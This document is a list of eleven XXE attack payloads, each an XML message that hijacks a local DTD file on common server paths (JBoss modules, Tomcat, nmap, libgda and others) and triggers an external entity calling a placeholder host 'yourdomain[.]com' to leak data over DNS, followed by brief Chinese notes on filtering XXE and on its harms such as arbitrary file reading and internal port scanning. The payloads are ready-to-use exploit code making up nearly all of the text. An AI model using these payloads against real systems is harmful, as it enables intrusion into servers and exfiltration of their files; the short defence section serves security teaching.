<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/lucene/main/lucene-queryparser-5.5.5.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd"> <!ENTITY % queries 'aaa)> <!ENTITY % file "dns-exfil-16"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/xml-resolver/main/xml-resolver-1.2.jar!/org/apache/xml/resolver/etc/catalog.dtd"> <!ENTITY % publicIdentifier '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-17"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/nmap/nmap.dtd"> <!ENTITY % attr_numeric '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-18"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/liteide/liteeditor/kate/language.dtd"> <!ENTITY % commonAttributes '> <!ENTITY % file "dns-exfil-19"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgweather/locations.dtd"> <!ENTITY % name 'aaa)> <!ENTITY % file "dns-exfil-20"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-server-operation.dtd"> <!ENTITY % paramlist-dtd ' <!ENTITY % file "dns-exfil-21"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-paramlist.dtd"> <!ENTITY % array-dtd ' <!ENTITY % file "dns-exfil-22"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/docutils/docutils.dtd"> <!ENTITY % measure '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-23"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/dblatex/schema/dblatex-config.dtd"> <!ENTITY % attlist.modname '> <!ENTITY % file "dns-exfil-24"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd"> <!ENTITY % block "xxx" > <!ENTITY % common ' <!ENTITY % file "dns-exfil-25"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/servlet-api.jar!/javax/servlet/resources/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file "dns-exfil-26"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
第六阶段（xxe防御）
过滤用户提交的XML数据，过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC，禁用外部实体引用。
第七阶段（xxe危害）
读取任意文件
执行系统命令
探测内网端口
攻击内网网站